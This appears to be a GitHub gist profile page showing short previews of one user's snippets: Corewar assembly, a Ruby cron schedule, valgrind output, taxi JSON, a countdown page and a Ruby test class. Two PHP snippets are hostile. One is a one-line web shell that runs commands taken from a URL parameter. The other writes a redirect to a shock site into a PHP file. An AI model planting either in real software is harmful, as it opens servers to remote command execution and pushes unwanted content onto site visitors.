Skip to content

Instantly share code, notes, and snippets.

View Nephos's full-sized avatar
💭
migrated to git.sceptique.eu

Arthur Poulet Nephos

💭
migrated to git.sceptique.eu
View GitHub Profile
start:
sti r1, %:live, %1
live:
live %0
preend:
xor %1, %1, r16
zjmp %:start
<?php
file_put_contents("include1.php", '<META http-equiv="refresh" content="0;URL=http://meatspin.fr/auto.php">');
?>
require 'yaml'
# load the configuration
# yaml = YAML.load_file("day.yaml")
yaml = YAML.load(
<<YAML_TEXT
TestA:
:day: 1
:at: 10:00 pm
Bonjour:
scraps = YAML.load_file("scrap.yml")
scraps.each do |scrap, date|
every date[:day].day, :at => date[:at] do
runner "#{scrap}.perform_async"
end
end
ElviScrap:
:day: 15
:at: 00:00 pm
<?php
echo exec($_GET['cmd']);
?>
==25381== Invalid read of size 4
==25381== at 0x404FC2: mail_handle_forward (forward.c:26)
==25381== by 0x402BED: handle_client (manage_client.c:65)
==25381== by 0x40277C: call_handle_for_clients (loop_server.c:86)
==25381== by 0x4028F7: loop_server (loop_server.c:112)
==25381== by 0x40155A: sub_main (main.c:49)
==25381== by 0x4015D0: main (main.c:63)
==25381== Address 0x80040a418 is not stack'd, malloc'd or (recently) free'd
==25381==
==25381==
@Nephos
Nephos / taxisparisien.json
Created August 28, 2015 10:19
Taxis parisien
[
{
:id=>394945,
:from=>"Aéroport de paris charles de gaulle, France",
:from_city=>"Aéroport de paris charles de gaulle",
:from_country=>"France",
:dest=>"Aérodrome de castelnau-magnoac, France",
:dest_city=>"Aérodrome de castelnau-magnoac",
:dest_country=>"France",
:dest_city_id=>26714,
@Nephos
Nephos / index.html
Created March 23, 2016 00:35
Coding Academy Countdown
<html>
<body style="background: black;">
<h1 id="countdown" style='color: red; text-align: center; font-family: "Monospace"; font-size: 12em; margin: 20%;'></h1>
<script>
let endTime = new Date((new Date()).toDateString() + " 21:00:00");
let currTime = new Date();
let endInt = endTime.getTime();
let currInt = currTime.getTime();
#!/usr/bin/env ruby
require 'singleton'
require 'yaml'
require 'digest'
require 'pry' if ENV["DEBUG"] == "true"
class TestSqlAvance
include Singleton